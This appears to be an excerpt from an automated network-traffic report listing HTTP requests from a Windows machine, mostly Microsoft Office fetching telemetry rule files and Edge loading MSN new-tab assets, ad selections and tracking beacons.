Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732403212055&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0bc75008eae841bf87e2b4c046ac6e18&activityId=0bc75008eae841bf87e2b4c046ac6e18&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732403212055&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09EFB3CBA8B66A3233B2A68BA9AF6B45&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=09EFB3CBA8B66A3233B2A68BA9AF6B45&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=c4f7aa0070e34466ce9dfdbf725a62d2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msySq.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732403212055&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09EFB3CBA8B66A3233B2A68BA9AF6B45&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1C31cb9d97c32c5d4b77ae21732403215; XID=1C31cb9d97c32c5d4b77ae21732403215
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=09EFB3CBA8B66A3233B2A68BA9AF6B45&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=8355917d9efb42e1cc068df97e9e0b31 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732403212055&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0bc75008eae841bf87e2b4c046ac6e18&activityId=0bc75008eae841bf87e2b4c046ac6e18&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9E7A649AA04A41C7B1E0884E07A0062F&MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
